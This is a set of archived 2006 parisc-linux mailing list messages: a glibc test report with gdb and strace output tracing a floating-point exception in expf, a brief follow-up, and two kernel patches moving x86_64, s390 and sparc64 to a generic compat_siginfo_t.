Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A83077D73D;
	Sun,  8 Jan 2006 12:03:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19FCC7D675
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:03:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05409-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Jan 2006 12:03:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5D7D77D665
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:03:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k08J3Xil024823; Sun, 8 Jan 2006 14:03:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k08J3Wvh024822;
	Sun, 8 Jan 2006 14:03:32 -0500 (EST)
In-Reply-To: <20060108030342.GA17559@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 7, 2006 10:03:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RQezYyUleSEkfr6WZHQhaXN1IGRvb4Ck
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23355

> I have this running on my local system without problems.
> I'm testing the NPTL/TLS toolchain using this as my system libc.
> 
> Dave could you please test if this fixes the strtold failures?

Here are the before and after results:

http://gcc.gnu.org/ml/gcc-testresults/2006-01/msg00364.html
http://gcc.gnu.org/ml/gcc-testresults/2006-01/msg00386.html

It looks like all the strtold failures in the libstdc++ tests are fixed.
However, we have some new failures:

FAIL: gfortran.fortran-torture/execute/power.f90 execution,  -O0 
FAIL: gfortran.fortran-torture/execute/power.f90 execution,  -O1 
FAIL: gfortran.fortran-torture/execute/power.f90 execution,  -O2 
FAIL: gfortran.fortran-torture/execute/power.f90 execution,  -O3 -fomit-frame-pointer 
FAIL: gfortran.fortran-torture/execute/power.f90 execution,  -O3 -fomit-frame-pointer -funroll-loops 
FAIL: gfortran.fortran-torture/execute/power.f90 execution,  -O3 -fomit-frame-pointer -funroll-all-loops -finline-functions 
FAIL: gfortran.fortran-torture/execute/power.f90 execution,  -O3 -g 
FAIL: gfortran.fortran-torture/execute/power.f90 execution,  -Os 

FAIL: 26_numerics/complex/13450.cc execution test

There are also some other changes in the gfortran tests (header
optimization issues?).

I've looked at 6_numerics/complex/13450.cc at bit:

strace ./13450.xg
...
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40003000
--- SIGFPE (Floating point exception) @ 0 (0) ---
+++ killed by SIGFPE (core dumped) +++

(gdb) r
Starting program: /home/dave/gnu/gcc-4.0/objdir/hppa-linux/libstdc++-v3/testsuite/13450.xg

Program received signal SIGFPE, Arithmetic exception.
0x407efaa8 in __ieee754_expf (x=1.62841105)
    at ../sysdeps/ieee754/flt-32/e_expf.c:95
95      ../sysdeps/ieee754/flt-32/e_expf.c: No such file or directory.
    in ../sysdeps/ieee754/flt-32/e_expf.c
Current language:  auto; currently c
(gdb) bt
#0  0x407efaa8 in __ieee754_expf (x=1.62841105)
    at ../sysdeps/ieee754/flt-32/e_expf.c:95
#1  0x407f96ec in __cexpf (x=The value of variable 'x' is distributed across several
locations, and GDB cannot access its value.

) at ../sysdeps/generic/s_cexpf.c:41
#2  0x407fb5e8 in __cpowf (c=The value of variable 'c' is distributed across several
locations, and GDB cannot access its value.

) at ../sysdeps/generic/s_cpowf.c:28
#3  0x0001dba8 in test01_do<float> (a=-3.20000005, b=Cannot access memory at address 0x4
) at complex:966
#4  0x0001e13c in test01 ()
    at /home/dave/gnu/gcc-4.0/gcc/libstdc++-v3/testsuite/26_numerics/complex/13450.cc:54
#5  0x0001e13c in test01 ()
    at /home/dave/gnu/gcc-4.0/gcc/libstdc++-v3/testsuite/26_numerics/complex/13450.cc:54

Previous frame identical to this frame (corrupt stack?)
(gdb) disass 0x407efa88 0x407efac8
Dump of assembler code from 0x407efa88 to 0x407efac8:
0x407efa88 <__ieee754_expf+108>:        b,l 0x407ce1cc <__ieee754_acos+5136>,rp
0x407efa8c <__ieee754_expf+112>:        ldi 0,r26
0x407efa90 <__ieee754_expf+116>:        addil -1000,r4,%r1
0x407efa94 <__ieee754_expf+120>:        ldw 51c(,r1),r20
0x407efa98 <__ieee754_expf+124>:        fldw 0(,r20),fr22
0x407efa9c <__ieee754_expf+128>:        fmpy,sgl fr12,fr22,fr22
0x407efaa0 <__ieee754_expf+132>:        addil -1000,r4,%r1
0x407efaa4 <__ieee754_expf+136>:        ldw 520(,r1),r20
0x407efaa8 <__ieee754_expf+140>:        fldw 0(,r20),fr23
0x407efaac <__ieee754_expf+144>:        fadd,sgl fr22,fr23,fr25
0x407efab0 <__ieee754_expf+148>:        fsub,sgl fr25,fr23,fr25
0x407efab4 <__ieee754_expf+152>:        fcnvff,sgl,dbl fr12,fr24
0x407efab8 <__ieee754_expf+156>:        fcnvff,sgl,dbl fr25,fr23
0x407efabc <__ieee754_expf+160>:        addil -1000,r4,%r1
0x407efac0 <__ieee754_expf+164>:        ldw 524(,r1),r20
0x407efac4 <__ieee754_expf+168>:        fldd 0(,r20),fr22
End of assembler dump.
(gdb) p/x $r20
$2 = 0x40835264
(gdb) x/x 0x40835264
0x40835264 <M_LN2___5+12>:      0x4b400000

I suspect a kernel or gdb issue wrt the floating-point exception
registers:

(gdb) info reg all
...
mpsfu_high     0x0      0
mpsfu_low      0x0      0
mpsfu_ovflo    0x0      0
pad            0x0      0
fpsr           0x0      0
fpe1           0x0      0
fpe2           0x0      0
fpe3           0x0      0
fpe4           0x0      0
fpe5           0x0      0
fpe6           0x0      0
fpe7           0x0      0

The operands for the previous fmpy insn seem ok.  It's interesting
that when I single step from the fmpy that I don't see the result
in fr22 until after the SIGFPE.  It sort of looks like the exception
must be in __ieee754_acos.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Updated glibc 2.3.5-8.1
Date: Sun, 8 Jan 2006 14:13:03 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200601081913.k08JD3sF024876@hiauly1.hia.nrc.ca>
References: <200601081903.k08J3Wvh024822@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623985 17855 80.91.229.3 (22 Nov 2014 02:39:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:45 +0000 (UTC)
Cc: carlos@systemhalted.org,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 19:13:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 08 Jan 2006 20:13:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 20AC27D747;
	Sun,  8 Jan 2006 12:13:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06692-08; Sun, 8 Jan 2006 12:13:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D83C7D748;
	Sun,  8 Jan 2006 12:13:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDE697D744
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:13:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06719-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Jan 2006 12:13:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3AA6E7D740
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:13:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k08JD3il024877; Sun, 8 Jan 2006 14:13:04 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k08JD3sF024876;
	Sun, 8 Jan 2006 14:13:03 -0500 (EST)
In-Reply-To: <200601081903.k08J3Wvh024822@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jan 8, 2006 02:03:31 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PgGzY7heeSEkV76WZHQhaXN1IGRvb4CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23356

> in fr22 until after the SIGFPE.  It sort of looks like the exception
> must be in __ieee754_acos.

Take that back.  The function calls feholdexcept (envp=0xc04fba68)
and then fesetround (round=0) before the arithmetic exception.

(gdb) p/x *envp
$2 = {__status_word = 0x1, __exception = {0x40000360, 0x1, 0x40000360,
    0x4033af90, 0x4084c6b8, 0x4084c6b8, 0x0}}

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 4/5] Convert x86_64 to use generic
	compat_siginfo_t
Date: Sun, 8 Jan 2006 14:38:07 -0500
Lines: 114
Approved: news@gmane.org
Message-ID: <20060108193807.GK3782__40233.9064902209$1416623986$gmane$org@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623986 17860 80.91.229.3 (22 Nov 2014 02:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:46 +0000 (UTC)
Cc: carlos@parisc-linux.org,
 willy@parisc-linux.org,
 ak@suse.de,
 parisc-linux@lists.parisc-linux.org,
 linux-kernel@vger.kernel.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 19:38:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 08 Jan 2006 20:38:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F4F67D74B;
	Sun,  8 Jan 2006 12:38:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06884-08; Sun, 8 Jan 2006 12:38:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 838FE7D74D;
	Sun,  8 Jan 2006 12:38:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2A257D748
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06719-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Jan 2006 12:38:13 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 068727D747
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:13 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id CED6B23E8F;
	Sun,  8 Jan 2006 14:38:00 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15301-04; Sun, 8 Jan 2006 14:38:00 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 75DC223E88;
	Sun,  8 Jan 2006 14:38:00 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id D531BD6C15; Sun,  8 Jan 2006 14:38:07 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eA+zYxo/eSEkfb6WZHQhaXN1IGRvb4B8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23357

From: Kyle McMartin <kyle@parisc-linux.org>

Convert arch/x86_64 to use generic compat_siginfo_t.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

Andi,

I've done testing of this using my x86-64 machine, and it seems to survive
the GCC testsuite, which seemed to be a rather signal heavy workload. If you
would prefer me to run something else to test, let me know, I'd be more
than happy to.

 arch/x86_64/ia32/ia32_signal.c |    1 +
 include/asm-x86_64/compat.h    |    3 ++
 include/asm-x86_64/ia32.h      |   53 +---------------------------------------
 3 files changed, 5 insertions(+), 52 deletions(-)

82a78ba45a265996a8a8d5ffdcea568f3fe07c1f
diff --git a/arch/x86_64/ia32/ia32_signal.c b/arch/x86_64/ia32/ia32_signal.c
index 0903cc1..b02cfe4 100644
--- a/arch/x86_64/ia32/ia32_signal.c
+++ b/arch/x86_64/ia32/ia32_signal.c
@@ -23,6 +23,7 @@
 #include <linux/stddef.h>
 #include <linux/personality.h>
 #include <linux/compat.h>
+#include <linux/compat_siginfo.h>
 #include <asm/ucontext.h>
 #include <asm/uaccess.h>
 #include <asm/i387.h>
diff --git a/include/asm-x86_64/compat.h b/include/asm-x86_64/compat.h
index f0155c3..7e0a7fb 100644
--- a/include/asm-x86_64/compat.h
+++ b/include/asm-x86_64/compat.h
@@ -16,6 +16,9 @@ typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
 typedef u16		__compat_gid_t;
+/* Define for use in compat_siginfo_t */
+#undef __ARCH_SI_COMPAT_UID_T
+#define __ARCH_SI_COMPAT_UID_T __compat_uid32_t
 typedef u32		__compat_uid32_t;
 typedef u32		__compat_gid32_t;
 typedef u16		compat_mode_t;
diff --git a/include/asm-x86_64/ia32.h b/include/asm-x86_64/ia32.h
index c7bc9c0..d9a32d5 100644
--- a/include/asm-x86_64/ia32.h
+++ b/include/asm-x86_64/ia32.h
@@ -6,6 +6,7 @@
 #ifdef CONFIG_IA32_EMULATION
 
 #include <linux/compat.h>
+#include <linux/compat_siginfo.h>
 
 /*
  * 32 bit structures for IA32 support.
@@ -78,58 +79,6 @@ struct stat64 {
 	unsigned long long	st_ino;
 } __attribute__((packed));
 
-typedef struct compat_siginfo{
-	int si_signo;
-	int si_errno;
-	int si_code;
-
-	union {
-		int _pad[((128/sizeof(int)) - 3)];
-
-		/* kill() */
-		struct {
-			unsigned int _pid;	/* sender's pid */
-			unsigned int _uid;	/* sender's uid */
-		} _kill;
-
-		/* POSIX.1b timers */
-		struct {
-			compat_timer_t _tid;	/* timer id */
-			int _overrun;		/* overrun count */
-			compat_sigval_t _sigval;	/* same as below */
-			int _sys_private;	/* not to be passed to user */
-			int _overrun_incr;	/* amount to add to overrun */
-		} _timer;
-
-		/* POSIX.1b signals */
-		struct {
-			unsigned int _pid;	/* sender's pid */
-			unsigned int _uid;	/* sender's uid */
-			compat_sigval_t _sigval;
-		} _rt;
-
-		/* SIGCHLD */
-		struct {
-			unsigned int _pid;	/* which child */
-			unsigned int _uid;	/* sender's uid */
-			int _status;		/* exit code */
-			compat_clock_t _utime;
-			compat_clock_t _stime;
-		} _sigchld;
-
-		/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
-		struct {
-			unsigned int _addr;	/* faulting insn/memory ref. */
-		} _sigfault;
-
-		/* SIGPOLL */
-		struct {
-			int _band;	/* POLL_IN, POLL_OUT, POLL_MSG */
-			int _fd;
-		} _sigpoll;
-	} _sifields;
-} compat_siginfo_t;

From - Thu Nov 08 21:34:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 3/5] Fix generic compat_siginfo_t on s390 and
	sparc64
Date: Sun, 8 Jan 2006 14:38:03 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <20060108193803.GJ3782__25337.0000901215$1416623986$gmane$org@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623986 17863 80.91.229.3 (22 Nov 2014 02:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 willy@parisc-linux.org,
 carlos@parisc-linux.org,
 schwidefsky@de.ibm.com,
 davem@davemloft.net,
 parisc-linux@lists.parisc-linux.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 19:38:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 08 Jan 2006 20:38:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3440F7D766;
	Sun,  8 Jan 2006 12:38:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07033-09; Sun, 8 Jan 2006 12:38:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DD617D74D;
	Sun,  8 Jan 2006 12:38:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DF8E7D748
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06884-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Jan 2006 12:38:14 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 970AB7D747
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 12:38:14 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 07F3823E8E;
	Sun,  8 Jan 2006 14:37:57 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15258-06; Sun, 8 Jan 2006 14:37:56 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id B3D2223E88;
	Sun,  8 Jan 2006 14:37:56 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id E0D85D6C15; Sun,  8 Jan 2006 14:38:03 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Yw+zY9YIeSEkIL6WZHQhaXN1IGRvb0Af
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23358

From: Carlos O'Donell <carlos@parisc-linux.org>

Define types needed for generic compat_siginfo_t on s390 and sparc64.

Signed-off-by: Carlos O'Donell <carlos@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 include/asm-s390/compat.h    |    3 +++
 include/asm-sparc64/compat.h |    3 +++
 2 files changed, 6 insertions(+), 0 deletions(-)

c5833cf4215cfbab87f83d32520251da5631355f
diff --git a/include/asm-s390/compat.h b/include/asm-s390/compat.h
index a007715..38b1165 100644
--- a/include/asm-s390/compat.h
+++ b/include/asm-s390/compat.h
@@ -15,6 +15,9 @@ typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
 typedef u16		__compat_gid_t;
+/* Define for use in compat_siginfo_t */
+#undef __ARCH_SI_COMPAT_UID_T
+#define __ARCH_SI_COMPAT_UID_T __compat_uid32_t
 typedef u32		__compat_uid32_t;
 typedef u32		__compat_gid32_t;
 typedef u16		compat_mode_t;
diff --git a/include/asm-sparc64/compat.h b/include/asm-sparc64/compat.h
index c73935d..06fbfb8 100644
--- a/include/asm-sparc64/compat.h
+++ b/include/asm-sparc64/compat.h
@@ -14,6 +14,9 @@ typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
 typedef u16		__compat_gid_t;
+/* Define for use in the compat_siginfo_t */
+#undef __ARCH_SI_COMPAT_UID_T
+#define __ARCH_SI_COMPAT_UID_T compat_uint_t
 typedef u32		__compat_uid32_t;
 typedef u32		__compat_gid32_t;
 typedef u16		compat_mode_t;
-- 
